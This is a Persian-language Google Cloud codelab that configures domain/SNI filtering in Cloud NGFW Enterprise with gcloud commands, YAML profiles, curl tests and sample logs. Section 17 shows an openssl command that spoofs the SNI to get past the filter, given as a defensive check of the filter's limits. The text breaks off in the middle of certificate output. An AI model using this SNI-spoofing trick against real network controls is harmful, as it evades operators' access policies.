فیلترینگ دامنه/SNI سازمانی در فایروال نسل بعدی ابری Codelab [بازرسی اختیاری TLS]

۱. مقدمه

فایروال نسل بعدی ابری (NGFW)

فایروال نسل بعدی ابری، یک سرویس فایروال کاملاً توزیع‌شده با قابلیت‌های حفاظتی پیشرفته، تقسیم‌بندی خرد و پوشش فراگیر است که بارهای کاری گوگل کلود شما را از حملات داخلی و خارجی محافظت می‌کند.

فایروال نسل بعدی ابری (Cloud NGFW) مزایای زیر را دارد:

  • سرویس فایروال توزیع‌شده: فایروال نسل بعدی ابری (Cloud NGFW) یک الزام مبتنی بر میزبان کاملاً توزیع‌شده و دارای وضعیت (stateful) را در هر بار کاری فراهم می‌کند تا معماری امنیتی بدون اعتماد (zero-trust) را فعال کند.
  • پیکربندی و استقرار ساده: Cloud NGFW سیاست‌های فایروال شبکه و سلسله مراتبی را پیاده‌سازی می‌کند که می‌توانند به یک گره سلسله مراتب منابع متصل شوند. این سیاست‌ها یک تجربه فایروال سازگار در سراسر سلسله مراتب منابع Google Cloud ارائه می‌دهند.
  • کنترل جزئی و ریزبخش‌بندی: ترکیب سیاست‌های فایروال و تگ‌های تحت مدیریت مدیریت هویت و دسترسی (IAM)، کنترل دقیقی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک ماشین مجازی واحد، در سراسر شبکه‌ها و سازمان‌های ابر خصوصی مجازی (VPC) فراهم می‌کند.

فایروال نسل بعدی ابری (Cloud NGFW) در سطوح زیر موجود است:

  • ملزومات فایروال نسل بعدی ابری
  • استاندارد فایروال نسل بعدی ابر
  • فایروال نسل بعدی ابری سازمانی

اشیاء FQDN استاندارد Cloud NGFW می‌توانند نام‌های دامنه کاملاً واجد شرایط (FQDN) را به آدرس‌های IP ترجمه کرده و سپس قانون را در مورد لیست آدرس‌های IP اعمال کنند. با این حال، Cloud NGFW Enterprise با فیلتر کردن دامنه می‌تواند بازرسی را چند قدم جلوتر ببرد.

فایروال نسل بعدی ابری (Cloud NGFW Enterprise)

Cloud NGFW Enterprise در حال حاضر سرویس پیشگیری از نفوذ (IPS)، یک قابلیت لایه ۷، را برای ساختار توزیع‌شده‌ی Google Cloud Firewall ارائه می‌دهد.

Cloud NGFW Enterprise اکنون دارای فیلتر دامنه است که به جای تکیه بر آدرس‌های IP، کنترل ترافیک http(s) را با استفاده از نام دامنه فراهم می‌کند.

برای فیلترینگ دامنه/SNI ترافیک https، به عنوان بخشی از TLS handshake، کلاینت هلو افزونه‌ای است که دارای نشانگر نام سرور (SNI) است. SNI افزونه‌ای برای پروتکل TLS است که نام میزبانی را که کلاینت سعی در دسترسی به آن دارد، ارسال می‌کند. اینجاست که فیلترینگ بر اساس آن اعتبارسنجی می‌شود.

با ترافیک http، هیچ SNI وجود ندارد، بنابراین فقط فیلد هدر http Host برای اعمال فیلتر استفاده خواهد شد.

فیلتر کردن دامنه با یک UrlFilteringProfile پیکربندی شده است که نوع جدیدی از Security Profile است. UrlFilteringProfile شامل لیستی از UrlFilters خواهد بود که هر کدام شامل یک اکشن، لیستی از رشته‌های تطبیق‌دهنده و یک اولویت منحصر به فرد هستند. این پیکربندی از "Url" برای نامگذاری به جای "Domain" استفاده می‌کند تا انتقال آسان به فیلتر کامل URL را در صورت در دسترس قرار گرفتن، به جای ایجاد نوع جدیدی از Security Profile در آینده، فراهم کند.

UrlFilteringProfiles شامل یک UrlFilter ضمنی با کمترین اولویت (2147483647) است که تمام اتصالاتی را که با UrlFilter با اولویت بالاتر مطابقت ندارند، رد می‌کند.

آنچه خواهید ساخت

این Codelab به یک پروژه واحد و توانایی ایجاد یک شبکه VPC و همچنین مدیریت تعدادی از منابع شبکه و امنیت نیاز دارد. این نشان می‌دهد که چگونه Cloud NGFW Enterprise می‌تواند فیلترینگ دامنه و SNI را با دستورالعمل‌های اختیاری برای بازرسی TLS ارائه دهد.

ما سناریوهای متعددی از قوانین اجازه و رد، از جمله استفاده از کاراکترهای عمومی (wildcards) را آزمایش خواهیم کرد.

4a779fae790d117.png

وضعیت نهایی پایگاه قوانین سیاست فایروال شبکه مشابه جدول زیر خواهد بود:

اولویت

جهت

هدف

منبع

مقصد

اکشن

نوع

۲۰۰

ورود

همه

آی‌پی

هر

اجازه دادن

ملزومات

۳۰۰

خروج

همه

هر

۰.۰.۰.۰/۰:۸۰,۴۴۳

بازرسی L7

تصدی

آنچه یاد خواهید گرفت

  • نحوه ایجاد سیاست فایروال شبکه.
  • نحوه پیکربندی و استفاده از فیلترینگ دامنه/SNI در فایروال ابری NGFW سازمانی.
  • نحوه پیکربندی پیشگیری از تهدید علاوه بر فیلترینگ دامنه/SNI.
  • نحوه بررسی لاگ‌ها.
  • [اختیاری] نحوه فعال کردن بازرسی TLS.

آنچه نیاز دارید

  • پروژه گوگل کلود
  • آشنایی با پیاده‌سازی نمونه‌ها و پیکربندی اجزای شبکه
  • دانش پیکربندی فایروال با سیاست‌های شبکه

۲. قبل از شروع

ایجاد/به‌روزرسانی متغیرها

این آزمایشگاه کد از $variables برای کمک به پیاده‌سازی پیکربندی gcloud در Cloud Shell استفاده می‌کند.

در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات داخل پرانتز را در صورت نیاز جایگزین کنید:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

۳. فعال کردن APIها

اگر APIها را فعال نکرده‌اید، آن‌ها را فعال کنید:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

۴. ایجاد نقطه پایانی سازمانی در Cloud NGFW

از آنجایی که ایجاد Cloud NGFW Enterprise Endpoint حدود 20 دقیقه طول می‌کشد، ابتدا ایجاد می‌شود و راه‌اندازی پایه می‌تواند به صورت موازی در حین ایجاد Endpoint انجام شود.

فیلترینگ دامنه/SNI حتی اگر قصد استفاده از پروفایل‌های پیشگیری از تهدید را نداشته باشید، به یک نقطه پایانی فایروال نیاز دارد.

ایجاد پروفایل امنیتی و گروه پروفایل امنیتی:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

دستور زیر را اجرا کنید تا تأیید شود که نقطه پایانی در حال ایجاد شدن است ( CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

فرآیند ایجاد حدود ۲۰ دقیقه طول می‌کشد. برای ایجاد منابع مورد نیاز به صورت موازی، به بخش تنظیمات پایه بروید.

۵. چیدمان پایه

شبکه و زیرشبکه VPC

شبکه و زیرشبکه VPC

شبکه و زیرشبکه VPC را ایجاد کنید:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

NAT ابری

آدرس IP خارجی، روتر ابری و دروازه Cloud NAT را ایجاد کنید:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

ایجاد نمونه

نمونه کلاینت را ایجاد کنید:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone

سیاست جهانی فایروال شبکه

ایجاد یک سیاست فایروال شبکه جهانی:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

ایجاد فایروال ابری مورد نیاز، قوانین ضروری برای اجازه دادن به ترافیک از محدوده‌های پروکسی آگاه از هویت : 

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

سیاست فایروال ابری را به شبکه VPC مرتبط کنید: 

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

۶. ایجاد تنظیمات فیلترینگ دامنه/SNI برای Allow

در مرحله بعد، دامنه‌ها را برای مجاز و غیرمجاز بودن پیکربندی خواهیم کرد. از cloudshell، فایل yaml را ایجاد کنید: 

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

یک پروفایل امنیتی ایجاد کنید که پیکربندی yaml را وارد می‌کند: 

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

خروجی مورد انتظار: 

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

ایجاد یک گروه پروفایل امنیتی: 

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

تأیید کنید که SPG شامل پروفایل امنیتی است: 

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

خروجی مورد انتظار: 

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

۷. انجمن نقطه پایانی فایروال ابری

در صورتی که هنوز متغیرهای محیطی را تعریف نکرده‌اید و/یا رویکرد اسکریپت را ترجیح می‌دهید، آن‌ها را تعریف کنید.

تأیید کنید که ایجاد Cloud Firewall Endpoint با موفقیت انجام شده است. فقط زمانی ادامه دهید که وضعیت به صورت ACTIVE نشان داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING است): 

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد): 

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

نقطه پایانی فایروال ابری را به شبکه VPC مرتبط کنید: 

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

فرآیند ایجاد ارتباط حدود ۱۰ دقیقه طول می‌کشد. فقط زمانی به بخش بعدی بروید که وضعیت به صورت ACTIVE (فعال ) نشان داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING است): 

gcloud network-security firewall-endpoint-associations list

خروجی مورد انتظار پس از تکمیل : 

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

۸. ایجاد قوانین فایروال برای فیلتر کردن دامنه/SNI

گوگل قوانین ضمنی برای فایروال allow egress دارد. اگر بخواهیم فیلترینگ domain/SNI را اعمال کنیم، باید صریحاً یک قانون تعریف کنیم. قانون زیر ترافیک خروجی را برای پورت‌های مقصد ۸۰ و ۴۴۳ برای بازرسی توسط پروفایل امنیتی ما ارسال می‌کند. 

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

۹. اعتبارسنجی قوانین مجاز

از طریق IAP یک اتصال SSH به ماشین مجازی برقرار کنید: 

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

درخواست‌های نمونه را به مقصد مجاز ارسال کنید: 

curl https://www.example.com --max-time 2

توجه داشته باشید که این درخواست به دلیل قانون "allow" در فایروال با موفقیت انجام شد.

بیایید چند دامنه را که جزو لیست نیستند، امتحان کنیم. 

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

خروجی مورد انتظار: 

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

چرا "example.com" کار نکرد؟ دلیلش این است که پیکربندی پروفایل امنیتی صراحتاً "www.example.com" را داشت. اگر می‌خواستیم همه زیردامنه‌های example.com را مجاز کنیم، می‌توانستیم از یک wildcard استفاده کنیم.

درخواست‌های دیگر نیز با شکست مواجه شده‌اند. این به این دلیل است که گروه پروفایل امنیتی به طور پیش‌فرض دارای یک گزینه رد درخواست با کمترین اولویت است و فقط www.example.com مجاز است.

برای بازگشت به cloudshell از ماشین مجازی خارج شوید. 

exit

۱۰. به‌روزرسانی پیکربندی فیلترینگ دامنه/SNI برای Wildcard

بیایید نگاهی به فایل yaml بیندازیم و به‌روزرسانی‌های بیشتری برای نمایش قابلیت‌های اضافی از جمله پشتیبانی از wildcard انجام دهیم. ما قانونی ایجاد خواهیم کرد که به "*.com" اجازه می‌دهد که معادل هر دامنه‌ای است که به .com ختم می‌شود. توجه: این به طور کامل جایگزین محتوای فایل yaml اصلی ایجاد شده در بخش قبلی خواهد شد. 

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

نمایه امنیتی را با پیکربندی جدید yaml به‌روزرسانی کنید: 

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

پیکربندی پروفایل امنیتی را اعتبارسنجی کنید: 

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

خروجی مورد انتظار: 

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

۱۱. اعتبارسنجی قانون Wildcard

بیایید اعتبارسنجی کنیم که آیا قانون wildcard فعال است یا خیر. یک اتصال SSH به ماشین مجازی از طریق IAP برقرار کنید: 

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

درخواست‌های نمونه را به مقصدهای مجاز ارسال کنید: 

curl https://github.com --max-time 2
curl https://google.com --max-time 2

همه این درخواست‌ها باید موفقیت‌آمیز بوده باشند. می‌توانید هر دامنه معتبر .com دیگری را امتحان کنید. اگر هنوز موفق نبودید، مطمئن شوید که حداقل 10 دقیقه صبر کرده‌اید و دوباره امتحان کنید.

ما حتی می‌توانیم چندین زیردامنه با پسوند ".com" را امتحان کنیم و همه آنها باید موفقیت‌آمیز باشند. 

curl https://mail.google.com --max-time 2

برای بازگشت به cloudshell از ماشین مجازی خارج شوید. 

exit

۱۲. به‌روزرسانی پیکربندی فیلترینگ دامنه/SNI برای Deny

ما نشان داده‌ایم که یک قانون ضمنی DENY برای * در انتهای پروفایل امنیتی وجود دارد و با استفاده از filteringAction به عنوان "ALLOW" دامنه‌های "مجاز" ایجاد کرده‌ایم. بیایید در مورد نحوه استفاده از filteringAction به عنوان "DENY" بحث کنیم. اقدامات DENY می‌توانند زمانی مفید باشند که قبل از یک ALLOW صریح قرار گیرند. مثال زیر را در نظر بگیرید.

ما yaml موجود خود را به‌روزرسانی خواهیم کرد تا *.com را مجاز کند اما به‌طور خاص دامنه‌های .com خاصی را رد کند.

ما فایل yaml را به DENY *.github.com و *.google.com تغییر خواهیم داد، در حالی که به صراحت به همه *.com های دیگر اجازه می‌دهیم و پیش‌فرض ضمنی deny را حفظ می‌کنیم. توجه داشته باشید که اولویت استثنائات باید عدد اولویت پایین‌تری داشته باشد: (1000 در مقابل 2000) و (1500 در مقابل 2000). 

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

نمایه امنیتی را با پیکربندی جدید yaml به‌روزرسانی کنید: 

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

پیکربندی پروفایل امنیتی را اعتبارسنجی کنید: 

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

۱۳. اعتبارسنجی قوانین رد کردن

بیایید اعتبارسنجی کنیم که آیا قوانین DENY کاربردی هستند یا خیر. یک اتصال SSH به ماشین مجازی از طریق IAP برقرار کنید: 

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

درخواست‌های نمونه را به مقصدهای رد شده ارسال کنید: 

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

این دو درخواست باید با شکست مواجه می‌شدند، زیرا با قانون "DENY" مطابقت داشتند.

ارسال درخواست‌های اضافی: 

curl https://github.com --max-time 2
curl https://google.com --max-time 2

چرا اینها کار کردند؟ اینها کار کردند زیرا قوانین DENY برای " .github.com" و " .google.com" بود. درخواست‌ها به github.com و google.com شامل آن wildcard نمی‌شوند زیرا به زیر دامنه‌های github.com و google.com ارجاع می‌دهند.

درخواست‌های دیگر به دامنه‌های .com باید موفقیت‌آمیز باشند، و به طور پیش‌فرض برای دامنه‌های دیگر (.org، .net، .me، ... و غیره) رد می‌شوند.

برای بازگشت به cloudshell از ماشین مجازی خارج شوید. 

exit

۱۴. به‌روزرسانی پیکربندی فیلترینگ دامنه/SNI برای مجوزهای پیش‌فرض

اگر بخواهید رفتار پیش‌فرض ALLOW با قوانین صریح deny داشته باشید، چه؟ ما YAML را برای نمایش این رفتار به‌روزرسانی خواهیم کرد. ما قوانین DENY را برای هر دامنه .com یا .net پیکربندی می‌کنیم و به همه دامنه‌های دیگر اجازه می‌دهیم. 

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

نمایه امنیتی را با پیکربندی جدید yaml به‌روزرسانی کنید: 

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

پیکربندی پروفایل امنیتی را اعتبارسنجی کنید: 

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

خروجی مورد انتظار: 

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

توجه داشته باشید که DENY ضمنی برای * هنوز وجود دارد. این قانون بی‌ربط می‌شود زیرا ما یک قانون پیش‌فرض با اولویت بالاتر (مقدار کمتر) پیکربندی کرده‌ایم که filteringAction روی ALLOW تنظیم شده است.

(2000000000 در مقابل 2147483647)

۱۵. اعتبارسنجی قوانین رد درخواست با پیش‌فرض مجاز بودن آن

بیایید بررسی کنیم که آیا قوانین DENY به همراه ALLOW پیش‌فرض فعال هستند یا خیر. یک اتصال SSH به ماشین مجازی از طریق IAP برقرار کنید: 

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

درخواست‌های نمونه را به مقصدهای رد شده ارسال کنید: 

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

این دو درخواست باید با شکست مواجه می‌شدند زیرا با قانون "DENY" مطابقت داشتند. هر درخواست .com یا .net باید با شکست مواجه شود.

ارسال درخواست‌هایی که باید موفقیت‌آمیز باشند (هر دامنه سطح بالای دیگری): 

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

این درخواست‌ها باید موفقیت‌آمیز باشند زیرا به قانون «پیش‌فرض» allow با اولویت ۲۰۰۰۰۰۰۰۰۰ می‌رسند.

۱۶. بررسی لاگ‌ها برای فیلتر کردن دامنه/SNI

بیایید بررسی کنیم که چگونه می‌توانیم تأیید کنیم که آیا ترافیک توسط قانون فایروال برای فیلتر کردن دامنه/SNI بررسی می‌شود یا خیر.

در کنسول ابری، به Logs Explorer بروید و فیلتر زیر را وارد کنید: 

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

فیلتر بالا به بررسی سیاست فایروالی که ما با نام $prefix-fwpolicy ایجاد کرده‌ایم و اولویت قانون ۳۰۰ می‌پردازد که شامل گروه پروفایل امنیتی مرتبط با پیکربندی فیلترینگ دامنه/SNI است.

۹۱۸۵۴cacaec44798.png

همانطور که می‌بینید، عبارت "INTERCEPTED" به معنی رهگیری شده است که نشان می‌دهد ترافیک رهگیری شده و برای پردازش به موتور فایروال ما ارسال شده است.

اکنون برای مشاهده‌ی گزارش‌های واقعی فیلترینگ دامنه/SNI، می‌توانیم فیلتر زیر را در Logs Explorer وارد کنیم: (باید $project_id را با مقدار project_id خود جایگزین کنید) 

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

اگر برخی از جزئیات را گسترش دهیم، می‌توانیم جزئیات زیر را در یک مثال (به صورت پاکسازی شده) ببینیم: 

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

مثال بالا درخواستی به wikipedia.org را نشان می‌دهد که به دلیل قرار گرفتن در اولویت 2000000000 که با علامت "*" و filterAction ALLOW مشخص شده بود، مجاز شناخته شد. جزئیات دیگری از جمله SNI نیز وجود دارد.

می‌توانیم نگاهی به یک نمونه لاگ DENY بیندازیم: 

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

همانطور که در بالا می‌بینیم، این درخواستی است که هنگام رد درخواست ثبت شده است. درخواست به www.php.net بود که با قانون ۱۵۰۰ در پروفایل امنیتی مطابقت داشت. به طور مشابه، برای تصمیم‌گیری با SNI مطابقت داشت.

۱۷. اعتبارسنجی قوانین در صورت وجود SNI Spoofing

همانطور که در مقدمه ذکر شد، NGFW Enterprise می‌تواند برای ترافیک HTTP به هدر میزبان HTTP یا برای ترافیک رمزگذاری شده TLS به SNI نگاه کند. افراد می‌توانند SNI را جعل کنند. اگر این کار را انجام دهند چه اتفاقی می‌افتد؟

بیایید رفتار را اعتبارسنجی کنیم. یک اتصال SSH به ماشین مجازی از طریق IAP برقرار کنید: 

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

دستور openssl زیر را برای جعل SNI اجرا کنید: 

openssl s_client -connect www.google.com:443 -servername ifconfig.me

در مثال بالا، انتظار می‌رود که درخواست‌ها به دامنه‌های .com و .net مسدود شوند و سایر TLDها مجاز باشند. در زیر نمونه‌ای از یک پاسخ جعلی آمده است. درخواست به www.google.com ارسال می‌شود که باید مسدود شود، اما به جای ارسال SNI از www.google.com، ما SNI از ifconfig.me را مشخص می‌کنیم. از آنجایی که این خط‌مشی در حال بررسی SNI است، این دامنه را به عنوان یک دامنه "مجاز" می‌بیند و به آن اجازه عبور می‌دهد. ما یک اتصال TLS موفق به google.com برقرار کردیم.

.

خروجی مورد انتظار: 

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
